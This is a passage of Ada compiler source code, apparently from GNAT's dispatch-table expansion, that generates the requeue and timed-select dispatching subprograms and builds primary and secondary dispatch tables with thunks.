Selector_Name => Make_Identifier (Loc, Name_uTask_Id)),
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Task_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uA)))), -- abort status
Else_Statements => New_List (
-- Call to Requeue_Task_Entry
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Requeue_Task_Entry), Loc),
Parameter_Associations => New_List (
Make_Selected_Component (Loc, -- O._task_id
Prefix => Make_Identifier (Loc, Name_uO),
Selector_Name => Make_Identifier (Loc, Name_uTask_Id)),
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Task_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uA)))))); -- abort status
end if;
-- Even though no declarations are needed in both cases, we allocate
-- a list for entities added by Freeze.
return
Make_Subprogram_Body (Loc,
Specification => Make_Disp_Requeue_Spec (Typ),
Declarations => New_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc, Stmts));
end Make_Disp_Requeue_Body;
----------------------------
-- Make_Disp_Requeue_Spec --
----------------------------
function Make_Disp_Requeue_Spec
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- O : in out Typ; - Object parameter
-- F : Boolean; - Protected (True) / task (False) flag
-- P : Address; - Protection_Entries_Access value
-- I : Entry_Index - Index of entry call
-- A : Boolean - Abort flag
-- Note that the Protection_Entries_Access value is represented as a
-- System.Address in order to avoid dragging in the tasking runtime
-- when compiling sources without tasking constructs.
return
Make_Procedure_Specification (Loc,
Defining_Unit_Name =>
Make_Defining_Identifier (Loc, Name_uDisp_Requeue),
Parameter_Specifications => New_List (
Make_Parameter_Specification (Loc, -- O
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uO),
Parameter_Type =>
New_Occurrence_Of (Typ, Loc),
In_Present => True,
Out_Present => True),
Make_Parameter_Specification (Loc, -- F
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uF),
Parameter_Type =>
New_Occurrence_Of (Standard_Boolean, Loc)),
Make_Parameter_Specification (Loc, -- P
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uP),
Parameter_Type =>
New_Occurrence_Of (RTE (RE_Address), Loc)),
Make_Parameter_Specification (Loc, -- I
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uI),
Parameter_Type =>
New_Occurrence_Of (Standard_Integer, Loc)),
Make_Parameter_Specification (Loc, -- A
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uA),
Parameter_Type =>
New_Occurrence_Of (Standard_Boolean, Loc))));
end Make_Disp_Requeue_Spec;
---------------------------------
-- Make_Disp_Timed_Select_Body --
---------------------------------
-- For interface types, generate:
-- procedure _Disp_Timed_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- D : Duration;
-- M : Integer;
-- C : out Ada.Tags.Prim_Op_Kind;
-- F : out Boolean)
-- is
-- begin
-- F := False;
-- C := Ada.Tags.POK_Function;
-- end _Disp_Timed_Select;
-- For protected types, generate:
-- procedure _Disp_Timed_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- D : Duration;
-- M : Integer;
-- C : out Ada.Tags.Prim_Op_Kind;
-- F : out Boolean)
-- is
-- I : Integer;
-- begin
-- C := Ada.Tags.Get_Prim_Op_Kind (Ada.Tags.Tag (<Typ>VP), S);
-- if C = Ada.Tags.POK_Procedure
-- or else C = Ada.Tags.POK_Protected_Procedure
-- or else C = Ada.Tags.POK_Task_Procedure
-- then
-- F := True;
-- return;
-- end if;
-- I := Ada.Tags.Get_Entry_Index (Ada.Tags.Tag (<Typ>VP), S);
-- System.Tasking.Protected_Objects.Operations.
-- Timed_Protected_Entry_Call
-- (T._object'Access,
-- System.Tasking.Protected_Objects.Protected_Entry_Index (I),
-- P,
-- D,
-- M,
-- F);
-- end _Disp_Timed_Select;
-- For task types, generate:
-- procedure _Disp_Timed_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- D : Duration;
-- M : Integer;
-- C : out Ada.Tags.Prim_Op_Kind;
-- F : out Boolean)
-- is
-- I : Integer;
-- begin
-- I := Ada.Tags.Get_Entry_Index (Ada.Tags.Tag (<Typ>VP), S);
-- System.Tasking.Rendezvous.Timed_Task_Entry_Call
-- (T._task_id,
-- System.Tasking.Task_Entry_Index (I),
-- P,
-- D,
-- M,
-- F);
-- end _Disp_Time_Select;
function Make_Disp_Timed_Select_Body
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
Conc_Typ : Entity_Id := Empty;
Decls : constant List_Id := New_List;
Obj_Ref : Node_Id;
Stmts : constant List_Id := New_List;
Tag_Node : Node_Id;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- Null body is generated for interface types
if Is_Interface (Typ) then
return
Make_Subprogram_Body (Loc,
Specification => Make_Disp_Timed_Select_Spec (Typ),
Declarations => New_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
New_List (
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression => New_Occurrence_Of (Standard_False, Loc)))));
end if;
if Is_Concurrent_Record_Type (Typ) then
Conc_Typ := Corresponding_Concurrent_Type (Typ);
-- Generate:
-- I : Integer;
-- where I will be used to capture the entry index of the primitive
-- wrapper at position S.
Append_To (Decls,
Make_Object_Declaration (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uI),
Object_Definition =>
New_Occurrence_Of (Standard_Integer, Loc)));
-- Generate:
-- C := Get_Prim_Op_Kind (tag! (<type>VP), S);
-- if C = POK_Procedure
-- or else C = POK_Protected_Procedure
-- or else C = POK_Task_Procedure;
-- then
-- F := True;
-- return;
-- end if;
Build_Common_Dispatching_Select_Statements (Typ, Stmts);
-- Generate:
-- I := Get_Entry_Index (tag! (<type>VP), S);
-- I is the entry index and S is the dispatch table slot
if Tagged_Type_Expansion then
Tag_Node :=
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))), Loc));
else
Tag_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Typ, Loc),
Attribute_Name => Name_Tag);
end if;
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uI),
Expression =>
Make_Function_Call (Loc,
Name => New_Occurrence_Of (RTE (RE_Get_Entry_Index), Loc),
Parameter_Associations => New_List (
Tag_Node,
Make_Identifier (Loc, Name_uS)))));
-- Protected case
if Ekind (Conc_Typ) = E_Protected_Type then
-- Build T._object'Access
Obj_Ref :=
Make_Attribute_Reference (Loc,
Attribute_Name => Name_Unchecked_Access,
Prefix =>
Make_Selected_Component (Loc,
Prefix => Make_Identifier (Loc, Name_uT),
Selector_Name => Make_Identifier (Loc, Name_uObject)));
-- Normal case, No_Entry_Queue restriction not active. In this
-- case we generate:
-- Timed_Protected_Entry_Call
-- (T._object'access,
-- Protected_Entry_Index! (I),
-- P, D, M, F);
-- where T is the protected object, I is the entry index, P are
-- the wrapped parameters, D is the delay amount, M is the delay
-- mode and F is the status flag.
-- Historically, there was also an implementation for single
-- entry protected types (in s-tposen). However, it was removed
-- by also testing for no No_Select_Statements restriction in
-- Exp_Utils.Corresponding_Runtime_Package. This simplified the
-- implementation of s-tposen.adb and provided consistency between
-- all versions of System.Tasking.Protected_Objects.Single_Entry
-- (s-tposen*.adb).
case Corresponding_Runtime_Package (Conc_Typ) is
when System_Tasking_Protected_Objects_Entries =>
Append_To (Stmts,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of
(RTE (RE_Timed_Protected_Entry_Call), Loc),
Parameter_Associations => New_List (
Obj_Ref,
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of
(RTE (RE_Protected_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uP), -- parameter block
Make_Identifier (Loc, Name_uD), -- delay
Make_Identifier (Loc, Name_uM), -- delay mode
Make_Identifier (Loc, Name_uF)))); -- status flag
when others =>
raise Program_Error;
end case;
-- Task case
else
pragma Assert (Ekind (Conc_Typ) = E_Task_Type);
-- Generate:
-- Timed_Task_Entry_Call (
-- T._task_id,
-- Task_Entry_Index! (I),
-- P,
-- D,
-- M,
-- F);
-- where T is the task object, I is the entry index, P are the
-- wrapped parameters, D is the delay amount, M is the delay
-- mode and F is the status flag.
Append_To (Stmts,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Timed_Task_Entry_Call), Loc),
Parameter_Associations => New_List (
Make_Selected_Component (Loc, -- T._task_id
Prefix => Make_Identifier (Loc, Name_uT),
Selector_Name => Make_Identifier (Loc, Name_uTask_Id)),
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Task_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uP), -- parameter block
Make_Identifier (Loc, Name_uD), -- delay
Make_Identifier (Loc, Name_uM), -- delay mode
Make_Identifier (Loc, Name_uF)))); -- status flag
end if;
else
-- Initialize out parameters
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression => New_Occurrence_Of (Standard_False, Loc)));
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uC),
Expression => New_Occurrence_Of (RTE (RE_POK_Function), Loc)));
end if;
return
Make_Subprogram_Body (Loc,
Specification => Make_Disp_Timed_Select_Spec (Typ),
Declarations => Decls,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc, Stmts));
end Make_Disp_Timed_Select_Body;
---------------------------------
-- Make_Disp_Timed_Select_Spec --
---------------------------------
function Make_Disp_Timed_Select_Spec
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
Def_Id : constant Node_Id :=
Make_Defining_Identifier (Loc,
Name_uDisp_Timed_Select);
Params : constant List_Id := New_List;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- T : in out Typ; -- Object parameter
-- S : Integer; -- Primitive operation slot
-- P : Address; -- Wrapped parameters
-- D : Duration; -- Delay
-- M : Integer; -- Delay Mode
-- C : out Prim_Op_Kind; -- Call kind
-- F : out Boolean; -- Status flag
Append_List_To (Params, New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uT),
Parameter_Type => New_Occurrence_Of (Typ, Loc),
In_Present => True,
Out_Present => True),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uS),
Parameter_Type => New_Occurrence_Of (Standard_Integer, Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uP),
Parameter_Type => New_Occurrence_Of (RTE (RE_Address), Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uD),
Parameter_Type => New_Occurrence_Of (Standard_Duration, Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uM),
Parameter_Type => New_Occurrence_Of (Standard_Integer, Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uC),
Parameter_Type =>
New_Occurrence_Of (RTE (RE_Prim_Op_Kind), Loc),
Out_Present => True)));
Append_To (Params,
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uF),
Parameter_Type => New_Occurrence_Of (Standard_Boolean, Loc),
Out_Present => True));
return
Make_Procedure_Specification (Loc,
Defining_Unit_Name => Def_Id,
Parameter_Specifications => Params);
end Make_Disp_Timed_Select_Spec;
-------------
-- Make_DT --
-------------
-- The frontend supports two models for expanding dispatch tables
-- associated with library-level defined tagged types: statically and
-- non-statically allocated dispatch tables. In the former case the object
-- containing the dispatch table is constant and it is initialized by means
-- of a positional aggregate. In the latter case, the object containing
-- the dispatch table is a variable which is initialized by means of
-- assignments.
-- In case of locally defined tagged types, the object containing the
-- object containing the dispatch table is always a variable (instead of a
-- constant). This is currently required to give support to late overriding
-- of primitives. For example:
-- procedure Example is
-- package Pkg is
-- type T1 is tagged null record;
-- procedure Prim (O : T1);
-- end Pkg;
-- type T2 is new Pkg.T1 with null record;
-- procedure Prim (X : T2) is -- late overriding
-- begin
-- ...
-- ...
-- end;
-- WARNING: This routine manages Ghost regions. Return statements must be
-- replaced by gotos which jump to the end of the routine and restore the
-- Ghost mode.
function Make_DT (Typ : Entity_Id; N : Node_Id := Empty) return List_Id is
Loc : constant Source_Ptr := Sloc (Typ);
Max_Predef_Prims : constant Int :=
UI_To_Int
(Intval
(Expression
(Parent (RTE (RE_Max_Predef_Prims)))));
DT_Decl : constant Elist_Id := New_Elmt_List;
DT_Aggr : constant Elist_Id := New_Elmt_List;
-- Entities marked with attribute Is_Dispatch_Table_Entity
Dummy_Object : Entity_Id := Empty;
-- Extra nonexistent object of type Typ internally used to compute the
-- offset to the components that reference secondary dispatch tables.
-- Used to compute the offset of components located at fixed position.
procedure Check_Premature_Freezing
(Subp : Entity_Id;
Tagged_Type : Entity_Id;
Typ : Entity_Id);
-- Verify that all untagged types in the profile of a subprogram are
-- frozen at the point the subprogram is frozen. This enforces the rule
-- on RM 13.14 (14) as modified by AI05-019. At the point a subprogram
-- is frozen, enough must be known about it to build the activation
-- record for it, which requires at least that the size of all
-- parameters be known. Controlling arguments are by-reference,
-- and therefore the rule only applies to untagged types. Typical
-- violation of the rule involves an object declaration that freezes a
-- tagged type, when one of its primitive operations has a type in its
-- profile whose full view has not been analyzed yet. More complex cases
-- involve composite types that have one private unfrozen subcomponent.
-- Move this check to sem???
procedure Export_DT (Typ : Entity_Id; DT : Entity_Id; Index : Nat := 0);
-- Export the dispatch table DT of tagged type Typ. Required to generate
-- forward references and statically allocate the table. For primary
-- dispatch tables Index is 0; for secondary dispatch tables the value
-- of index must match the Suffix_Index value assigned to the table by
-- Make_Tags when generating its unique external name, and it is used to
-- retrieve from the Dispatch_Table_Wrappers list associated with Typ
-- the external name generated by Import_DT.
procedure Make_Secondary_DT
(Typ : Entity_Id;
Iface : Entity_Id;
Iface_Comp : Node_Id;
Suffix_Index : Int;
Num_Iface_Prims : Nat;
Iface_DT_Ptr : Entity_Id;
Predef_Prims_Ptr : Entity_Id;
Build_Thunks : Boolean;
Result : List_Id);
-- Ada 2005 (AI-251): Expand the declarations for a Secondary Dispatch
-- Table of Typ associated with Iface. Each abstract interface of Typ
-- has two secondary dispatch tables: one containing pointers to thunks
-- and another containing pointers to the primitives covering the
-- interface primitives. The former secondary table is generated when
-- Build_Thunks is True, and provides common support for dispatching
-- calls through interface types; the latter secondary table is
-- generated when Build_Thunks is False, and provides support for
-- Generic Dispatching Constructors that dispatch calls through
-- interface types. When constructing this latter table the value of
-- Suffix_Index is -1 to indicate that there is no need to export such
-- table when building statically allocated dispatch tables; a positive
-- value of Suffix_Index must match the Suffix_Index value assigned to
-- this secondary dispatch table by Make_Tags when its unique external
-- name was generated.
function Number_Of_Predefined_Prims (Typ : Entity_Id) return Nat;
-- Returns the number of predefined primitives of Typ
------------------------------
-- Check_Premature_Freezing --
------------------------------
procedure Check_Premature_Freezing
(Subp : Entity_Id;
Tagged_Type : Entity_Id;
Typ : Entity_Id)
is
Comp : Entity_Id;
function Is_Actual_For_Formal_Incomplete_Type
(T : Entity_Id) return Boolean;
-- In Ada 2012, if a nested generic has an incomplete formal type,
-- the actual may be (and usually is) a private type whose completion
-- appears later. It is safe to build the dispatch table in this
-- case, gigi will have full views available.
------------------------------------------
-- Is_Actual_For_Formal_Incomplete_Type --
------------------------------------------
function Is_Actual_For_Formal_Incomplete_Type
(T : Entity_Id) return Boolean
is
Gen_Par : Entity_Id;
F : Node_Id;
begin
if not Is_Generic_Instance (Current_Scope)
or else not Used_As_Generic_Actual (T)
then
return False;
else
Gen_Par := Generic_Parent (Parent (Current_Scope));
end if;
F :=
First
(Generic_Formal_Declarations
(Unit_Declaration_Node (Gen_Par)));
while Present (F) loop
if Ekind (Defining_Identifier (F)) = E_Incomplete_Type then
return True;
end if;
Next (F);
end loop;
return False;
end Is_Actual_For_Formal_Incomplete_Type;
-- Start of processing for Check_Premature_Freezing
begin
-- Note that if the type is a (subtype of) a generic actual, the
-- actual will have been frozen by the instantiation.
if Present (N)
and then Is_Private_Type (Typ)
and then No (Full_View (Typ))
and then not Is_Generic_Type (Typ)
and then not Is_Tagged_Type (Typ)
and then not Is_Frozen (Typ)
and then not Is_Generic_Actual_Type (Typ)
then
Error_Msg_Sloc := Sloc (Subp);
Error_Msg_NE
("declaration must appear after completion of type &", N, Typ);
Error_Msg_NE
("\which is an untagged type in the profile of "
& "primitive operation & declared#", N, Subp);
else
Comp := Private_Component (Typ);
if not Is_Tagged_Type (Typ)
and then Present (Comp)
and then not Is_Frozen (Comp)
and then not Is_Actual_For_Formal_Incomplete_Type (Comp)
then
Error_Msg_Sloc := Sloc (Subp);
Error_Msg_Node_2 := Subp;
Error_Msg_Name_1 := Chars (Tagged_Type);
Error_Msg_NE
("declaration must appear after completion of type &",
N, Comp);
Error_Msg_NE
("\which is a component of untagged type& in the profile "
& "of primitive & of type % that is frozen by the "
& "declaration ", N, Typ);
end if;
end if;
end Check_Premature_Freezing;
---------------
-- Export_DT --
---------------
procedure Export_DT (Typ : Entity_Id; DT : Entity_Id; Index : Nat := 0)
is
Count : Nat;
Elmt : Elmt_Id;
begin
Set_Is_Statically_Allocated (DT);
Set_Is_True_Constant (DT);
Set_Is_Exported (DT);
Count := 0;
Elmt := First_Elmt (Dispatch_Table_Wrappers (Typ));
while Count /= Index loop
Next_Elmt (Elmt);
Count := Count + 1;
end loop;
pragma Assert (Related_Type (Node (Elmt)) = Typ);
Get_External_Name (Node (Elmt));
Set_Interface_Name (DT,
Make_String_Literal (Loc,
Strval => String_From_Name_Buffer));
-- Ensure proper Sprint output of this implicit importation
Set_Is_Internal (DT);
Set_Is_Public (DT);
end Export_DT;
-----------------------
-- Make_Secondary_DT --
-----------------------
procedure Make_Secondary_DT
(Typ : Entity_Id;
Iface : Entity_Id;
Iface_Comp : Node_Id;
Suffix_Index : Int;
Num_Iface_Prims : Nat;
Iface_DT_Ptr : Entity_Id;
Predef_Prims_Ptr : Entity_Id;
Build_Thunks : Boolean;
Result : List_Id)
is
Loc : constant Source_Ptr := Sloc (Typ);
Exporting_Table : constant Boolean :=
Building_Static_DT (Typ)
and then Suffix_Index > 0;
Iface_DT : constant Entity_Id := Make_Temporary (Loc, 'T');
Predef_Prims : constant Entity_Id := Make_Temporary (Loc, 'R');
DT_Constr_List : List_Id;
DT_Aggr_List : List_Id;
Empty_DT : Boolean := False;
Nb_Prim : Nat;
New_Node : Node_Id;
OSD : Entity_Id;
OSD_Aggr_List : List_Id;
Prim : Entity_Id;
Prim_Elmt : Elmt_Id;
Prim_Ops_Aggr_List : List_Id;
begin
-- Handle cases in which we do not generate statically allocated
-- dispatch tables.
if not Building_Static_DT (Typ) then
Set_Ekind (Predef_Prims, E_Variable);
Set_Ekind (Iface_DT, E_Variable);
-- Statically allocated dispatch tables and related entities are
-- constants.
else
Set_Ekind (Predef_Prims, E_Constant);
Set_Is_Statically_Allocated (Predef_Prims);
Set_Is_True_Constant (Predef_Prims);
Set_Ekind (Iface_DT, E_Constant);
Set_Is_Statically_Allocated (Iface_DT);
Set_Is_True_Constant (Iface_DT);
end if;
-- Calculate the number of slots of the dispatch table. If the number
-- of primitives of Typ is 0 we reserve a dummy single entry for its
-- DT because at run time the pointer to this dummy entry will be
-- used as the tag.
if Num_Iface_Prims = 0 then
Empty_DT := True;
Nb_Prim := 1;
else
Nb_Prim := Num_Iface_Prims;
end if;
-- Generate:
-- Predef_Prims : Address_Array (1 .. Default_Prim_Ops_Count) :=
-- (predef-prim-op-thunk-1'address,
-- predef-prim-op-thunk-2'address,
-- ...
-- predef-prim-op-thunk-n'address);
-- Create the thunks associated with the predefined primitives and
-- save their entity to fill the aggregate.
declare
Nb_P_Prims : constant Nat := Number_Of_Predefined_Prims (Typ);
Prim_Table : array (Nat range 1 .. Nb_P_Prims) of Entity_Id;
Decl : Node_Id;
Thunk_Id : Entity_Id;
Thunk_Code : Node_Id;
begin
Prim_Ops_Aggr_List := New_List;
Prim_Table := (others => Empty);
if Building_Static_DT (Typ) then
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
if Is_Predefined_Dispatching_Operation (Prim)
and then not Is_Abstract_Subprogram (Prim)
and then not Is_Eliminated (Prim)
and then not Generate_SCIL
and then not Present (Prim_Table
(UI_To_Int (DT_Position (Prim))))
then
if not Build_Thunks then
Prim_Table (UI_To_Int (DT_Position (Prim))) :=
Alias (Prim);
else
Expand_Interface_Thunk
(Prim, Thunk_Id, Thunk_Code, Iface);
if Present (Thunk_Id) then
Append_To (Result, Thunk_Code);
Prim_Table (UI_To_Int (DT_Position (Prim))) :=
Thunk_Id;
end if;
end if;
end if;
Next_Elmt (Prim_Elmt);
end loop;
end if;
for J in Prim_Table'Range loop
if Present (Prim_Table (J)) then
New_Node :=
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Prim_Table (J), Loc),
Attribute_Name => Name_Unrestricted_Access));
else
New_Node := Make_Null (Loc);
end if;
Append_To (Prim_Ops_Aggr_List, New_Node);
end loop;
New_Node :=
Make_Aggregate (Loc, Expressions => Prim_Ops_Aggr_List);
-- Remember aggregates initializing dispatch tables
Append_Elmt (New_Node, DT_Aggr);
Decl :=
Make_Subtype_Declaration (Loc,
Defining_Identifier => Make_Temporary (Loc, 'S'),
Subtype_Indication =>
New_Occurrence_Of (RTE (RE_Address_Array), Loc));
Append_To (Result, Decl);
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Predef_Prims,
Constant_Present => Building_Static_DT (Typ),
Aliased_Present => True,
Object_Definition => New_Occurrence_Of
(Defining_Identifier (Decl), Loc),
Expression => New_Node));
end;
-- Generate
-- OSD : Ada.Tags.Object_Specific_Data (Nb_Prims) :=
-- (OSD_Table => (1 => <value>,
-- ...
-- N => <value>));
-- for OSD'Alignment use Address'Alignment;
-- Iface_DT : Dispatch_Table (Nb_Prims) :=
-- ([ Signature => <sig-value> ],
-- Tag_Kind => <tag_kind-value>,
-- Predef_Prims => Predef_Prims'Address,
-- Offset_To_Top => 0,
-- OSD => OSD'Address,
-- Prims_Ptr => (prim-op-1'address,
-- prim-op-2'address,
-- ...
-- prim-op-n'address));
-- Stage 3: Initialize the discriminant and the record components
DT_Constr_List := New_List;
DT_Aggr_List := New_List;
-- Nb_Prim
Append_To (DT_Constr_List, Make_Integer_Literal (Loc, Nb_Prim));
Append_To (DT_Aggr_List, Make_Integer_Literal (Loc, Nb_Prim));
-- Signature
if RTE_Record_Component_Available (RE_Signature) then
Append_To (DT_Aggr_List,
New_Occurrence_Of (RTE (RE_Secondary_DT), Loc));
end if;
-- Tag_Kind
if RTE_Record_Component_Available (RE_Tag_Kind) then
Append_To (DT_Aggr_List, Tagged_Kind (Typ));
end if;
-- Predef_Prims
Append_To (DT_Aggr_List,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Predef_Prims, Loc),
Attribute_Name => Name_Address));
-- Interface component located at variable offset; the value of
-- Offset_To_Top will be set by the init subprogram.
if No (Dummy_Object)
or else Is_Variable_Size_Record (Etype (Scope (Iface_Comp)))
then
Append_To (DT_Aggr_List, Make_Integer_Literal (Loc, 0));
-- Interface component located at fixed offset
else
Append_To (DT_Aggr_List,
Make_Op_Minus (Loc,
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix =>
New_Occurrence_Of (Dummy_Object, Loc),
Selector_Name =>
New_Occurrence_Of (Iface_Comp, Loc)),
Attribute_Name => Name_Position)));
end if;
-- Generate the Object Specific Data table required to dispatch calls
-- through synchronized interfaces.
if Empty_DT
or else Is_Abstract_Type (Typ)
or else Is_Controlled (Typ)
or else Restriction_Active (No_Dispatching_Calls)
or else not Is_Limited_Type (Typ)
or else not Has_Interfaces (Typ)
or else not Build_Thunks
or else not RTE_Record_Component_Available (RE_OSD_Table)
then
-- No OSD table required
Append_To (DT_Aggr_List,
New_Occurrence_Of (RTE (RE_Null_Address), Loc));
else
OSD_Aggr_List := New_List;
declare
Prim_Table : array (Nat range 1 .. Nb_Prim) of Entity_Id;
Prim : Entity_Id;
Prim_Alias : Entity_Id;
Prim_Elmt : Elmt_Id;
E : Entity_Id;
Count : Nat := 0;
Pos : Nat;
begin
Prim_Table := (others => Empty);
Prim_Alias := Empty;
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
if Present (Interface_Alias (Prim))
and then Find_Dispatching_Type
(Interface_Alias (Prim)) = Iface
then
Prim_Alias := Interface_Alias (Prim);
E := Ultimate_Alias (Prim);
Pos := UI_To_Int (DT_Position (Prim_Alias));
if Present (Prim_Table (Pos)) then
pragma Assert (Prim_Table (Pos) = E);
null;
else
Prim_Table (Pos) := E;
Append_To (OSD_Aggr_List,
Make_Component_Association (Loc,
Choices => New_List (
Make_Integer_Literal (Loc,
DT_Position (Prim_Alias))),
Expression =>
Make_Integer_Literal (Loc,
DT_Position (Alias (Prim)))));
Count := Count + 1;
end if;
end if;
Next_Elmt (Prim_Elmt);
end loop;
pragma Assert (Count = Nb_Prim);
end;
OSD := Make_Temporary (Loc, 'I');
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => OSD,
Constant_Present => True,
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Object_Specific_Data), Loc),
Constraint =>
Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => New_List (
Make_Integer_Literal (Loc, Nb_Prim)))),
Expression =>
Make_Aggregate (Loc,
Component_Associations => New_List (
Make_Component_Association (Loc,
Choices => New_List (
New_Occurrence_Of
(RTE_Record_Component (RE_OSD_Num_Prims), Loc)),
Expression =>
Make_Integer_Literal (Loc, Nb_Prim)),
Make_Component_Association (Loc,
Choices => New_List (
New_Occurrence_Of
(RTE_Record_Component (RE_OSD_Table), Loc)),
Expression => Make_Aggregate (Loc,
Component_Associations => OSD_Aggr_List))))));
Append_To (Result,
Make_Attribute_Definition_Clause (Loc,
Name => New_Occurrence_Of (OSD, Loc),
Chars => Name_Alignment,
Expression =>
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (RTE (RE_Integer_Address), Loc),
Attribute_Name => Name_Alignment)));
-- In secondary dispatch tables the Typeinfo component contains
-- the address of the Object Specific Data (see a-tags.ads).
Append_To (DT_Aggr_List,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (OSD, Loc),
Attribute_Name => Name_Address));
end if;
-- Initialize the table of primitive operations
Prim_Ops_Aggr_List := New_List;
if Empty_DT then
Append_To (Prim_Ops_Aggr_List, Make_Null (Loc));
elsif Is_Abstract_Type (Typ)
or else not Building_Static_DT (Typ)
then
for J in 1 .. Nb_Prim loop
Append_To (Prim_Ops_Aggr_List, Make_Null (Loc));
end loop;
else
declare
CPP_Nb_Prims : constant Nat := CPP_Num_Prims (Typ);
E : Entity_Id;
Prim_Pos : Nat;
Prim_Table : array (Nat range 1 .. Nb_Prim) of Entity_Id;
Thunk_Code : Node_Id;
Thunk_Id : Entity_Id;
begin
Prim_Table := (others => Empty);
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
E := Ultimate_Alias (Prim);
Prim_Pos := UI_To_Int (DT_Position (E));
-- Do not reference predefined primitives because they are
-- located in a separate dispatch table; skip abstract and
-- eliminated primitives; skip primitives located in the C++
-- part of the dispatch table because their slot is set by
-- the IC routine.
if not Is_Predefined_Dispatching_Operation (Prim)
and then Present (Interface_Alias (Prim))
and then not Is_Abstract_Subprogram (Alias (Prim))
and then not Is_Eliminated (Alias (Prim))
and then (not Is_CPP_Class (Root_Type (Typ))
or else Prim_Pos > CPP_Nb_Prims)
and then Find_Dispatching_Type
(Interface_Alias (Prim)) = Iface
-- Generate the code of the thunk only if the abstract
-- interface type is not an immediate ancestor of
-- Tagged_Type. Otherwise the DT associated with the
-- interface is the primary DT.
and then not Is_Ancestor (Iface, Typ,
Use_Full_View => True)
then
if not Build_Thunks then
Prim_Pos :=
UI_To_Int (DT_Position (Interface_Alias (Prim)));
Prim_Table (Prim_Pos) := Alias (Prim);
else
Expand_Interface_Thunk
(Prim, Thunk_Id, Thunk_Code, Iface);
if Present (Thunk_Id) then
Prim_Pos :=
UI_To_Int (DT_Position (Interface_Alias (Prim)));
Prim_Table (Prim_Pos) := Thunk_Id;
Append_To (Result, Thunk_Code);
end if;
end if;
end if;
Next_Elmt (Prim_Elmt);
end loop;
for J in Prim_Table'Range loop
if Present (Prim_Table (J)) then
New_Node :=
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Prim_Table (J), Loc),
Attribute_Name => Name_Unrestricted_Access));
else
New_Node := Make_Null (Loc);
end if;
